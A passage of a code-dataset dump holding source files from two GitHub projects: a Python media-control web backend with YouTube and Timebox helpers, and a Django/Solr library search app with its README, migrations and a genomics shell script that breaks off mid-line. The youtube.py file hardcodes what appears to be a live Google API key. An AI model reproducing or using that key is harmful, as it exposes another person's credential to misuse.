js[\"nextPageToken\"]\n if \"prevPageToken\" in js:\n res[\"prevToken\"] = js[\"prevPageToken\"]\n result = json.dumps(res, indent=1)\n return result\n elif command == \"play\":\n try:\n self.app.xbmc.openYoutubeVideo(params[1])\n return \"ok\"\n except IndexError:\n return \"not ok\"\n elif command == \"playlist\":\n try:\n self.app.xbmc.openYoutubeList(params[1])\n self.app.xbmc.StartPlaylist(1)\n return \"ok\"\n except IndexError:\n return \"not ok\"\n return \"Not found\"\n\n\nclass SystemHandler:\n\n def __init__(self, app):\n self.app = app\n\n def __call__(self, params, **kwargs):\n command = params[0]\n if command == 'hdmi':\n self.app.xbmc.SetAudioDevice('PI:HDMI')\n elif command == 'analog':\n self.app.xbmc.SetAudioDevice('PI:Analogue')\n elif command == 'info':\n return self.GetSystemInfo()\n return 'ok'\n\n def GetSystemInfo(self):\n info = {}\n info[\"uptime\"] = str(SystemUptime())\n return info\n\n\nclass App:\n\n def __init__(self):\n self.xbmc = XBMC()\n self.dispatcher = url_handler.UrlDispatcher()\n self.dispatcher.addHandler('/srv/radio', RadioHandler(self))\n self.dispatcher.addHandler('/srv/socket', SocketHandler())\n self.dispatcher.addHandler('/srv/browse', BrowserHanlder(self))\n self.dispatcher.addHandler('/srv/player', PlayerHandler(self))\n self.dispatcher.addHandler('/srv/twitch', TwitchHandler(self))\n self.dispatcher.addHandler('/srv/youtube', YouTubeHandler(self))\n self.dispatcher.addHandler('/srv/music', MusicBrowserHandler(self))\n self.dispatcher.addHandler('/srv/system', SystemHandler(self))\n\n def processRequest(self, req_handler):\n return self.dispatcher.dispatchUrl(req_handler.request.uri, req_handler=req_handler)\n" }, { "alpha_fraction": 0.7481481432914734, "alphanum_fraction": 0.7530864477157593, "avg_line_length": 35.818180084228516, "blob_id": "228cf9de81602b91f5951ed92d278976b5801e33", "content_id": "dfe50a76213262b1af317a3eff2998552dc4e364", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 405, "license_type": "no_license", "max_line_length": 69, "num_lines": 11, "path": "/python/totem.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nimport dbus\nfor service in dbus.SystemBus().list_names():\n print(service)\nT_SERVICE_NAME = 'org.mpris.Totem'\nT_OBJECT_PATH = '/Player'\nT_INTERFACE = 'org.freedesktop.MediaPlayer'\nsession_bus = dbus.SessionBus()\ntotem = session_bus.get_object(T_SERVICE_NAME, T_OBJECT_PATH)\ntotem_mediaplayer = dbus.Interface(totem, dbus_interface=T_INTERFACE)\nprint(totem_mediaplayer.GetStatus()[0])\n" }, { "alpha_fraction": 0.5243664979934692, "alphanum_fraction": 0.5406107902526855, "avg_line_length": 28.576923370361328, "blob_id": "25cafaae4a6dc087ba238460764e80706c790918", "content_id": "3f7b6b741f052b38e639b4e9ccb94f332a34a0d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1539, "license_type": "no_license", "max_line_length": 80, "num_lines": 52, "path": "/spikes/timebox-cli.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nimport logging\nimport random\nimport time\nfrom itertools import product\nfrom plumbum import cli\nfrom timebox import Timebox, Image\n\nlogger = logging.getLogger(\"timebox-cli\")\nlogger.setLevel(logging.INFO)\nlogger.addHandler(logging.StreamHandler())\n\ntb_logger = logging.getLogger(\"timebox\")\ntb_logger.setLevel(logging.INFO)\ntb_logger.addHandler(logging.StreamHandler())\n \nclass App(cli.Application):\n address = cli.SwitchAttr([\"-a\", \"--address\"], str, help=\"Bluetooth address\")\n data = cli.SwitchAttr([\"-d\", \"--data\"], str, help=\"raw data to send\")\n\n def main(self, operation):\n device = Timebox(self.address)\n logger.info(\"run: addrss: {}, oper: {}\".format(self.address, operation))\n logger.info(\"connecting\")\n device.connect()\n if operation == \"raw\":\n if not self.data:\n logger.error(\"Please specify data\")\n return\n device.send_raw(self.data)\n elif operation == \"image\":\n cntr = 11\n while True:\n img = Image()\n #img.fillImage(0,0,15)\n for x,y in product(range(0,11), range(0,11)):\n g = (x + cntr) % 22\n g = g if g < 11 else 22 - g\n img.setPixel(\n x, y,\n 0,g,5)\n data = img.data\n device.sendImage(data)\n time.sleep(.2)\n cntr+=1\n\n time.sleep(74)\n\n\nif __name__ == \"__main__\":\n App.run()\n\n" }, { "alpha_fraction": 0.5905368328094482, "alphanum_fraction": 0.5950864553451538, "avg_line_length": 28.70270347595215, "blob_id": "64e2a3e65a1a1d310a115f94420e73d3f7bd6af9", "content_id": "00161761952f900b90d4343d32e3d4bf2d2552f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1099, "license_type": "no_license", "max_line_length": 66, "num_lines": 37, "path": "/python/youtube.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\nfrom web_backend import ServiceConnection\nfrom utils import Singleton\nimport urllib.parse\nimport json\n\nDEV_KEY = \"AIzaSyDaMq7oWT-ZSTAGswiNwCLh864QhL9dfUw\"\nYOUTUBE_HOST = \"content.googleapis.com\"\nAPI_PATH = 'youtube/v3/'\n\nclass YouTube(ServiceConnection, metaclass = Singleton):\n\n def __init__(self):\n ServiceConnection.__init__(self, YOUTUBE_HOST, https=True)\n\n def search(self, q, token = None, type = None):\n vars = {\"part\": \"id,snippet\", \"q\": q,\n \"maxResults\": 5}\n if type:\n vars[\"type\"] = type\n if token:\n vars[\"pageToken\"] = token\n url = self.buildUrl(\"search\", vars)\n return json.loads(self.getData(url))\n\n def buildUrl(self, method, params):\n params[\"key\"] = DEV_KEY\n url = \"https://\" + YOUTUBE_HOST + '/' + API_PATH + method\n return url + '?' + urllib.parse.urlencode(params)\n\nif __name__ == \"__main__\":\n yt = YouTube()\n res = yt.search(\"eminem\")\n print(json.dumps(res, indent=1))\n token = res[\"nextPageToken\"]\n res = yt.search(\"eminem\", token)\n print(json.dumps(res, indent=1))\n" } ]
33
adityadharne/TestObento
https://github.com/adityadharne/TestObento
8a3e4aeb800d359adfa28f98b13d30b056bc22da
579d075b087851cbc967c9de65e12267463f64ff
59016891da85e1ea1e76106c2cb24ddf27c09b06
refs/heads/master
2021-01-10T14:50:12.154134
2016-01-15T15:50:22
2016-01-15T15:50:22
47,990,606
0
0
null
2015-12-14T17:30:18
2015-12-14T17:30:57
2016-01-15T15:50:23
Python
[ { "alpha_fraction": 0.5601953864097595, "alphanum_fraction": 0.5648351907730103, "avg_line_length": 48.349395751953125, "blob_id": "46601ab032741a02266720411b86926d997cdc44", "content_id": "ad621f2d2a0a73c141ce5835be897023d486fd6b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4095, "license_type": "permissive", "max_line_length": 138, "num_lines": 83, "path": "/obi/ui/migrations/0005_auto__add_field_search_articles_count__add_field_search_books_count__a.py", "repo_name": "adityadharne/TestObento", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom south.utils import datetime_utils as datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n\nclass Migration(SchemaMigration):\n\n def forwards(self, orm):\n # Adding field 'Search.articles_count'\n db.add_column(u'ui_search', 'articles_count',\n self.gf('django.db.models.fields.BigIntegerField')(default=0, blank=True),\n keep_default=False)\n\n # Adding field 'Search.books_count'\n db.add_column(u'ui_search', 'books_count',\n self.gf('django.db.models.fields.BigIntegerField')(default=0, blank=True),\n keep_default=False)\n\n # Adding field 'Search.database_count'\n db.add_column(u'ui_search', 'database_count',\n self.gf('django.db.models.fields.BigIntegerField')(default=0, blank=True),\n keep_default=False)\n\n # Adding field 'Search.journals_count'\n db.add_column(u'ui_search', 'journals_count',\n self.gf('django.db.models.fields.BigIntegerField')(default=0, blank=True),\n keep_default=False)\n\n # Adding field 'Search.researchguides_count'\n db.add_column(u'ui_search', 'researchguides_count',\n self.gf('django.db.models.fields.BigIntegerField')(default=0, blank=True),\n keep_default=False)\n\n\n def backwards(self, orm):\n # Deleting field 'Search.articles_count'\n db.delete_column(u'ui_search', 'articles_count')\n\n # Deleting field 'Search.books_count'\n db.delete_column(u'ui_search', 'books_count')\n\n # Deleting field 'Search.database_count'\n db.delete_column(u'ui_search', 'database_count')\n\n # Deleting field 'Search.journals_count'\n db.delete_column(u'ui_search', 'journals_count')\n\n # Deleting field 'Search.researchguides_count'\n db.delete_column(u'ui_search', 'researchguides_count')\n\n\n models = {\n u'ui.database': {\n 'Meta': {'object_name': 'Database'},\n 'description': ('django.db.models.fields.TextField', [], {'db_index': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.TextField', [], {'db_index': 'True'}),\n 'url': ('django.db.models.fields.URLField', [], {'max_length': '300'})\n },\n u'ui.journal': {\n 'Meta': {'object_name': 'Journal'},\n 'eissn': ('django.db.models.fields.TextField', [], {'db_index': 'True', 'max_length': '9', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'issn': ('django.db.models.fields.TextField', [], {'db_index': 'True', 'max_length': '9', 'blank': 'True'}),\n 'ssid': ('django.db.models.fields.TextField', [], {'max_length': '13', 'db_index': 'True'}),\n 'title': ('django.db.models.fields.TextField', [], {'db_index': 'True'})\n },\n u'ui.search': {\n 'Meta': {'object_name': 'Search'},\n 'articles_count': ('django.db.models.fields.BigIntegerField', [], {'default': '0', 'blank': 'True'}),\n 'books_count': ('django.db.models.fields.BigIntegerField', [], {'default': '0', 'blank': 'True'}),\n 'database_count': ('django.db.models.fields.BigIntegerField', [], {'default': '0', 'blank': 'True'}),\n 'date_searched': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'db_index': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'journals_count': ('django.db.models.fields.BigIntegerField', [], {'default': '0', 'blank': 'True'}),\n 'q': ('django.db.models.fields.TextField', [], {'db_index': 'True', 'blank': 'True'}),\n 'researchguides_count': ('django.db.models.fields.BigIntegerField', [], {'default': '0', 'blank': 'True'})\n }\n }\n\n complete_apps = ['ui']" }, { "alpha_fraction": 0.6526185274124146, "alphanum_fraction": 0.6661888360977173, "avg_line_length": 30.423423767089844, "blob_id": "889eccb663f50bd65e6214fb9b77c146508c437c", "content_id": "5a9a606d6b7d9320033bd431f645def0b37f15df", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 10464, "license_type": "permissive", "max_line_length": 391, "num_lines": 333, "path": "/README.md", "repo_name": "adityadharne/TestObento", "src_encoding": "UTF-8", "text": "obento\n======\n\nA simple python/django search multiplexing backend for use in a bento-style\nfrontend. \n\n\nrequirements\n============\n\nDeveloped using Python 2.7, Django 1.6, and PostgreSQL 9.1 on Ubuntu 12.04.\n\n\nInstallation Instructions\n=========================\n\nPART I - Basic server requirements\n----------------------------------\n\n1. Install Apache and other dependencies\n\n $ sudo apt-get install apache2 libapache2-mod-wsgi libaio-dev python-dev python-profiler postgresql postgresql-contrib libpq-dev git libxml2-dev libxslt-dev openjdk-7-jdk python-setuptools python-virtualenv\n\n2. Prepare Java JVM symlink for Jetty\n\n Create a symlink to the java jvm\n\n $ sudo mkdir /usr/java\n\n $ sudo ln -s /usr/lib/jvm/java-7-openjdk-amd64 /usr/java/default\n\n3. Download Jetty and unzip. \n\n $ cd /opt\n\n Go to http://download.eclipse.org/jetty/stable-9/dist/ and copy the link to the .tar.gz version of the latest download of Jetty 9. Use this link in the following wget command to download the .tar.gz file (again, the URL may change):\n\n $ sudo wget -O jetty.gz \"http://eclipse.org/downloads/download.php?file=/jetty/stable-9/dist/jetty-distribution-9.2.3.v20140905.tar.gz&r=1\"\n\n $ sudo mkdir jetty\n\n $ sudo tar -xvf jetty.gz -C jetty --strip-components=1\n\n4. Create jetty user and make it the owner of /opt/jetty\n\n $ sudo useradd jetty -U -s /bin/false\n\n $ sudo chown -R jetty:jetty /opt/jetty\n\n5. Set up jetty to run as a service\n\n $ sudo cp /opt/jetty/bin/jetty.sh /etc/init.d/jetty\n\n6. Create the jetty settings file\n \n $ sudo vi /etc/default/jetty\n\n Paste the following into the file, and save it:\n\n JAVA=/usr/bin/java\n NO_START=0 # Start on boot\n JETTY_HOST=0.0.0.0 # Listen to all hosts\n JETTY_ARGS=jetty.port=8983\n JETTY_USER=jetty # Run as this user\n JETTY_HOME=/opt/jetty\n\n In production, jetty should be running on a port that won't be publicly exposed. In development and testing, exposing Solr might be helpful; never expose it in production.\n \n NOTE: In the step above, JAVA is set to /usr/bin/java. When upgrading from an environment that had Java 6 installed, /usr/bin/java may be a symbolic link (...to another symbolic link) which still points to a Java 6 JRE. If that is the case, reconfigure to ensure that either /usr/bin/java resolves to a Java 7 JRE, or point JAVA in the jetty config file to wherever the Java 7 JRE is.\n\n7. Start jetty\n\n $ sudo service jetty start\n\n This should return something that starts with:\n\n Starting Jetty: OK\n\n Verify that MYSERVER:8983 returns a page that is \"Powered by Jetty\" (even if it is a 404-Not Found page) \n\n8. Add jetty to startup\n\n $ sudo update-rc.d jetty defaults\n\n9. Download and unzip solr\n\n Go to http://www.apache.org/dyn/closer.cgi/lucene/solr and copy the link to the .tgz version of the latest download of Solr 4. Use this link in the following wget command to download the .tgz file (again, the URL may change). This may also require a --no-check-certificate option as well, depending on the download site:\n\n $ sudo wget -O solr.gz \"https://www.carfab.com/apachesoftware/lucene/solr/4.10.2/solr-4.10.2.tgz\"\n\n $ sudo tar -xvf solr.gz\n\n Copy solr contents (precise solr 4 version number may vary):\n\n $ sudo cp -R solr-4.10.2/example/solr /opt\n\n $ sudo cp -r /opt/solr-4.10.2/dist /opt/solr\n\n $ sudo cp -r /opt/solr-4.10.2/contrib /opt/solr\n\n Copy ICU Tokenizer jars to /opt/solr/lib\n\n $ sudo mkdir /opt/solr/lib\n\n $ sudo cp /opt/solr/contrib/analysis-extras/lib/icu4j-*.jar /opt/solr/lib\n\n $ sudo cp /opt/solr/contrib/analysis-extras/lucene-libs/lucene-analyzers-icu-* /opt/solr/lib\n\n10. Copy solr .war and .jar files to jetty\n\n $ sudo cp /opt/solr/dist/solr-4.10.2.war /opt/jetty/webapps/solr.war\n\n $ sudo cp /opt/solr-4.10.2/example/lib/ext/* /opt/jetty/lib/ext\n\n11. Update jetty settings\n\n $ sudo vi /etc/default/jetty\n\n Append the following line:\n\n JAVA_OPTIONS=\"-Dsolr.solr.home=/opt/solr $JAVA_OPTIONS\"\n \n12. Change the owner of the solr folder and contents to jetty\n \n $ sudo chown -R jetty:jetty /opt/solr\n\n13. Change ``collection1`` in solr to ``obento``:\n\n $ cd /opt/solr\n \n $ sudo mv collection1 obento\n\n Replace ``name=collection1`` with ``name=obento`` in core.properties:\n \n $ sudo vi obento/core.properties\n \n14. Restart jetty\n\n $ sudo service jetty restart\n \n\nPART II - Set up project environment\n------------------------------------\n\n1. Create a directory for your projects (replace &lt;OBENTO_HOME&gt; with \nyour desired directory path and name: for instance ```/obento``` or \n```/home/<username>/obento``` )\n\n $ mkdir <OBENTO_HOME>\n $ cd <OBENTO_HOME>\n\n2. Pull down the project from github\n\n (GW staff only)\n $ git clone [email protected]:gwu-libraries/obento.git\n\n (everyone else)\n $ git clone https://github.com/gwu-libraries/obento.git\n\n3. Create virtual Python environment for the project\n\n $ cd <OBENTO_HOME>/obento\n $ virtualenv --no-site-packages ENV\n\n4. Activate your virtual environment\n\n $ source ENV/bin/activate\n\n5. Install project dependencies\n\n (ENV)$ pip install -r requirements.txt\n \n If the previous step encounters problems installing pytz, then it can be installed as follows\n\n easy_install --upgrade pytz\n\n\n \nPART III - Set up the database\n------------------------------\n\n1. Create a database user for django (and make a note of the password you create). A name for MYDBUSER might be something like ```obentouser_m1``` (m1 for milestone 1)\n\n $ sudo -u postgres createuser --createdb --no-superuser --no-createrole --pwprompt MYDBUSER\n\n2. Create a database for the obento application. A name for MYDBNAME might be something like ```obi_m1```\n\n $ sudo -u postgres createdb -O MYDBUSER MYDBNAME\n\n\n\nPART IV - Configure the web application\n---------------------------------------\n\n1. Copy the local settings template to an active file\n\n $ cd obento/obi/obi\n $ cp local_settings.py.template local_settings.py\n\n2. Update the values in the ```local_settings.py``` file: for the database, ```NAME```, ```USER```, and ```PASSWORD``` to the database you created above, and set ```ENGINE``` to 'postgresql_psycopg2'; also, set a ```SECRET_KEY```. Ensure that the port number in ```SOLR_URL``` matches ```JETTY_PORT``` configured earlier in ```/etc/default/jetty```.\n\n $ vi local_settings.py\n\n3. Copy the WSGI file template to an active file\n\n $ cp wsgi.py.template wsgi.py\n\n4. Update the wsgi.py file. (Uncomment the virtualenv settings starting with \"import site\" and Change the value of ENV to your environment path)\n\n $ vi wsgi.py\n \n5. Initialize database tables. WARNING: Be sure you are still using your virtualenv. DO NOT create a superuser when prompted!\n\n (ENV)$ cd <OBENTO_HOME>/obento/obi\n (ENV)$ python manage.py syncdb\n\n If you encounter an authentication error with postgresql edit your local_settings.py file and set HOST = 'localhost'\n\n If you encounter an error during the above command that ends with:\n\n TypeError: decode() argument 1 must be string, not None\n\n Then you need to add location values to your profile. Open your .bashrc file in an editor:\n\n $ vim ~/.bashrc\n\n Enter the following values at the end of the file and save.\n\n export LC_ALL=en_US.UTF-8\n export LANG=en_US.UTF-8\n\n Now, reload your bashrc changes:\n\n source ~/.bashrc\n\n Now, rerun the syncdb command.\n\n6. Migrate the database to the latest updates\n\n $ python manage.py migrate\n\n7. Copy the Apache virtual host file to the Apache2 directory\n\n $ cd /<OBENTO_HOME>/obento\n $ sudo cp apache/obento /etc/apache2/sites-available/obento\n\n8. Restart jetty\n\n $ sudo service jetty restart\n\n\nPart V - Start the server\n--------------------------\n\nIf you choose to run obento in apache (versus django runserver):\n\n1. Update the values in the Apache virtual host file.\n\n Edit the host port number\n Edit your server name (base url)\n Edit the many instances of &lt;path to OBENTO_HOME&gt;. Beware: the line for the WSGI Daemon has two references to that path.\n\n $ sudo vi /etc/apache2/sites-available/obento\n\n To change all of the path values at once use the global replace command in vim\n\n :%s/old_value/new_value/g\n\n2. Enable the apache headers module, this is required for CORS support.\n\n $ sudo a2enmod headers\n\n3. Enable the new virtualhost. If you are using port 80 also disable the default host\n\n $ sudo a2ensite obento\n $ sudo a2dissite default\n $ sudo service apache2 restart\n\n\n\nPart VI - Load some data\n------------------------\n\n1. Copy the obento solr configuration files to solr\n \n $ sudo cp -r /<OBENTO_HOME>/obento/obi/obi/conf /opt/solr/obento/\n\n Restart jetty\n\n $ sudo service jetty restart\n\nTo load GW's list of databases from libguides, first configure \n```local_settings.py``` with a list of libguides page sids.\n\nThen, to load/parse/add databases from these pages to the database:\n\n $ ./manage.py load_databases\n\nTo verify that the databases loaded, try querying the html or json view:\n\n http://<OBENTO_URL>/databases_html?q=proquest\n http://<OBENTO_URL>/databases_json?q=proquest\n\nTo index the list of databases in Solr:\n\n $ ./manage.py index_all\n\nTest that indexing worked with this path:\n\n http://<OBENTO_URL>/databases_solr_html?q=proquest\n http://<OBENTO_URL>/databases_solr_json?q=proquest\n\nThe results should look different from the test above.\n\nTo load the Excel-formatted extract of journal titles:\n\n $ ./manage.py load_journals <JOURNALS_EXCEL_FILE>\n\nTo verify that the journal titles loaded, try querying the html or json view:\n\n http://<OBENTO_URL>/journals_html?q=science\n http://<OBENTO_URL>/journals_json?q=science\n\nTo index the list of journals in Solr:\n\n $ ./manage.py index_all\n\nTest that indexing worked with this path:\n\n http://<OBENTO_URL>/journals_solr_html?q=science\n http://<OBENTO_URL>/journals_solr_json?q=science\n\nThe results should look different from the test above.\n" }, { "alpha_fraction": 0.5195954442024231, "alphanum_fraction": 0.5217024683952332, "avg_line_length": 37.274192810058594, "blob_id": "120864e091c0cce1ae9b5ac8caf3f49b7d3f09b3", "content_id": "ae2b4d7955d722c28a753793b5c657ad6e47d0e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2373, "license_type": "permissive", "max_line_length": 76, "num_lines": 62, "path": "/obi/ui/management/commands/index_all.py", "repo_name": "adityadharne/TestObento", "src_encoding": "UTF-8", "text": "from optparse import make_option\nimport requests\nimport solr\n\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\n\nfrom ui.models import Database, Journal\n\n\nCOMMIT_BLOCK_SIZE = 100\n\n\nclass Command(BaseCommand):\n help = 'index the database list and journal titles list'\n option_list = BaseCommand.option_list + (\n make_option('--no-clear', action=\"store_true\", default=False,\n help='Do not clear out the solr index.'),\n )\n\n def handle(self, *args, **options):\n s = solr.SolrConnection(settings.SOLR_URL)\n # unless the user gives a --no-clear option, clear the solr index.\n if not options.get('no-clear', None):\n requests.get(settings.SOLR_URL + '/update' +\n '?stream.body=<delete><query>*:*</query></delete>')\n requests.get(settings.SOLR_URL + '/update' +\n '?stream.body=<commit/>')\n qs_databases = Database.objects.all()\n total_indexed = 0\n block = []\n for db in qs_databases:\n block.append({'id': 'db-%s' % db.id,\n 'name': db.name,\n 'url': db.url,\n 'description': db.description})\n if len(block) == COMMIT_BLOCK_SIZE:\n s.add_many(block, _commit=True)\n total_indexed += len(block)\n print 'indexed:', total_indexed, 'databases'\n block = []\n if block:\n s.add_many(block, _commit=True)\n total_indexed += len(block)\n print 'indexed:', total_indexed, '. done.'\n block = []\n total_indexed = 0\n qs_journals = Journal.objects.distinct('ssid')\n for journal in qs_journals:\n block.append({'id': 'j-%s' % journal.id,\n 'name': journal.title,\n 'issn': journal.issn,\n 'eissn': journal.eissn})\n if len(block) == COMMIT_BLOCK_SIZE:\n s.add_many(block, _commit=True)\n total_indexed += len(block)\n print 'indexed:', total_indexed, 'journals'\n block = []\n if block:\n s.add_many(block, _commit=True)\n total_indexed += len(block)\n print 'indexed:', total_indexed, 'journals'\n" }, { "alpha_fraction": 0.7184466123580933, "alphanum_fraction": 0.7961165308952332, "avg_line_length": 8.363636016845703, "blob_id": "ef198c2751687918ed8fe217081eff853360cef9", "content_id": "7ac39a8700a10589f3d134dae7475b9758206f26", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 103, "license_type": "permissive", "max_line_length": 16, "num_lines": 11, "path": "/requirements.txt", "repo_name": "adityadharne/TestObento", "src_encoding": "UTF-8", "text": "beautifulsoup4\ndjango>=1.6,<1.7\ndjango-nose\nlxml\nnetaddr\npsycopg2\npytz\nrequests>=1.2\nsolrpy\nsouth\nxlrd\n" }, { "alpha_fraction": 0.5389754772186279, "alphanum_fraction": 0.5429844260215759, "avg_line_length": 44.836734771728516, "blob_id": "1bd6f93e8710b495a57e0565a1ddb878a3b09da3", "content_id": "ffb5684cf6acb540634cf6fc15c1dd9bfc99438d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2245, "license_type": "permissive", "max_line_length": 138, "num_lines": 49, "path": "/obi/ui/migrations/0004_auto__add_search.py", "repo_name": "adityadharne/TestObento", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n\nclass Migration(SchemaMigration):\n\n def forwards(self, orm):\n # Adding model 'Search'\n db.create_table(u'ui_search', (\n (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('q', self.gf('django.db.models.fields.TextField')(db_index=True, blank=True)),\n ('date_searched', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, db_index=True, blank=True)),\n ))\n db.send_create_signal(u'ui', ['Search'])\n\n\n def backwards(self, orm):\n # Deleting model 'Search'\n db.delete_table(u'ui_search')\n\n\n models = {\n u'ui.database': {\n 'Meta': {'object_name': 'Database'},\n 'description': ('django.db.models.fields.TextField', [], {'db_index': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.TextField', [], {'db_index': 'True'}),\n 'url': ('django.db.models.fields.URLField', [], {'max_length': '300'})\n },\n u'ui.journal': {\n 'Meta': {'object_name': 'Journal'},\n 'eissn': ('django.db.models.fields.TextField', [], {'db_index': 'True', 'max_length': '9', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'issn': ('django.db.models.fields.TextField', [], {'db_index': 'True', 'max_length': '9', 'blank': 'True'}),\n 'ssid': ('django.db.models.fields.TextField', [], {'max_length': '13', 'db_index': 'True'}),\n 'title': ('django.db.models.fields.TextField', [], {'db_index': 'True'})\n },\n u'ui.search': {\n 'Meta': {'object_name': 'Search'},\n 'date_searched': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'db_index': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'q': ('django.db.models.fields.TextField', [], {'db_index': 'True', 'blank': 'True'})\n }\n }\n\n complete_apps = ['ui']" } ]
5
jayon-lihm/CPC
https://github.com/jayon-lihm/CPC
6fff2ae2a8ba91a31c75c38876bcb9453fde6a4e
cbcf611d12fbea1c9d333b6467f7550799b58345
f19c5d65ebed2f2338e3733bfa19fdb31e310951
refs/heads/master
2021-10-22T06:09:02.532195
2019-03-08T16:46:32
2019-03-08T16:46:32
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5779963731765747, "alphanum_fraction": 0.5876330137252808, "avg_line_length": 31.129032135009766, "blob_id": "113407ed6312d10bd5907231183b76bf272b0871", "content_id": "4b41e8d14f5d19df67ded2a833efb107dfe84dd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4981, "license_type": "no_license", "max_line_length": 134, "num_lines": 155, "path": "/Generate_AAP_forQuads.sh", "repo_name": "jayon-lihm/CPC", "src_encoding": "UTF-8", "text": "#!/bin/bash\n#$ -S /bin/bash\n#$ -V\n#$ -o [stdout output path]\n#$ -e [stderr output path]\n#$ -l vf=40G\n\n# This script processes one quad family (four members: mother, father, proband, and sibling)\n# It is assumed that the reads for all four members are stored in a single BAM file\n# Customize family ID and sample ID to suit your needs.\n\n## Scripts Needed: Count_Alternative_Alleles.py, run_AAcount_forSSC.py\n\n## submit as: qsub ./Generate_AAP_forQuads.sh\n\n###########################################\n## ${out_path}: root directory to store output files by family.\n## ${bam_path}: directory to BAM file\n## ${outFormat}: output as text file \n## ${refFasta}: path to reference FASTA file\n## ${MapQual}: minimum mapping quality of reads required\n## ${depth}: minimum number of reads required to calculate AAP\n## ${chrstart}, ${chrend}: specify chromosome range\n\n\n\nSAMTOOLS_PATH=\"/path/to/samtools/\"\n\nMapQual=20\ndepth=9 \nchrstart=1\nchrend=22\n\noutFormat=\"txt\"\nrefFasta=\"./reference/human_g1k_v37.fasta\"\n\nfamID=\"A\"\ns1=\"mother\"\ns2=\"father\"\ns3=\"proband\"\ns4=\"sibling\"\n\n## Output paths\nout_path=\"./\"\nfam_aap_path=\"${out_path}/${famID}/\"\ntmp_path=\"${fam_aap_path}/tmp/\"\n\nif [ ! -d ${fam_aap_path} ]; then mkdir -p ${fam_aap_path}; fi\nif [ ! -d ${tmp_path} ]; then mkdir -p ${tmp_path}; fi\n\n## Files\nfam_bam_file=./quad_realigned_recalibrated_cs.bam\nheader_file=${tmp_path}${famID}_header.txt\n\necho \"########JOB INFO###########\"\necho \"Running at: ${HOSTNAME}\"\necho \"JOB ID: ${JOB_ID}\"\necho \"TASK ID: ${SGE_TASK_ID}\"\necho \"START: $(date +\"%D\"), $(date +\"%T\")\"\necho \"FAMILY: ${famID}\"\n\nfam_start=$(date +%s)\nfam_mem=($s1 $s2 $s3 $s4)\nnumMem=${#fam_mem[@]}\n\necho \"####################################################\"\n\n# Export Header of Quad Bam\n${SAMTOOLS_PATH}samtools view -H ${bam_path}quad_realigned_recalibrated_cs.bam > ${header_file}\n\nfor ((j=0; j<${numMem}; j++))\ndo\n sample=${fam_mem[$j]}\n samp_start=$(date +%s)\n\n aap_path=\"${fam_aap_path}${sample}/\"\n if [ ! -d ${aap_path} ]; then mkdir -p ${aap_path}; fi\n\n rg_file=${tmp_path}${sample}_rglist.txt \n sample_bam_file=${tmp_path}${sample}_realigned_recalibrated_cs.bam\n \n ## Find Read Group (RG) for a given sample\n grep \"SM:${sample}\" ${header_file} | awk '{print $2}' | cut -d':' -f2 > ${rg_file}\n ${SAMTOOLS_PATH}samtools view -bhR ${rg_file} ${fam_bam_file} > ${sample_bam_file}\n ${SAMTOOLS_PATH}samtools index ${sample_bam_file}\n \n echo \"Sample: $sample\"\n echo \"Bam File Name: $sample_bam_file\"\n\n if [ -e $sample_bam_file ]; then\n\tNumReadQ20=$(${SAMTOOLS_PATH}samtools view -q 20 -c $sample_bam_file)\n \n\techo \"Number of Reads\"\n\techo -e \"ID\\tNumReadsQ20\"\n\techo -e \"${sample}\\t${NumReadQ20}\"\n \n\tif [ ${NumReadQ20} -ne 0 ]; then\n\t for (( i=${chrstart}; i<=${chrend}; i++ ))\n\t do\n\t\tichar=$i\n\t\tif [ $i == 23 ]; then\n\t\t ichar=\"X\"\n\t\telif [ $i == 24 ]; then\n\t\t ichar=\"Y\"\n\t\tfi\n\t \n\t\tqpileupName=chr${ichar}_q${MapQual}_mapped.pileup\n\t\tqd_pileupName=chr${ichar}_q${MapQual}_d${depth}_mapped.pileup\n\t\tqd_altcntName=${qd_pileupName}.alt_count\n\t\taapFile=${qd_altcntName}.aap\n\t\trefFile=${qd_altcntName}.ref\n\t \n \t #******Q20 PILEUP GENERATION******#\n\t\techo \"..CHR${ichar} Q${MapQual} pileup\"\n\t\t${SAMTOOLS_PATH}samtools mpileup -r ${ichar} -f ${refFasta} -q 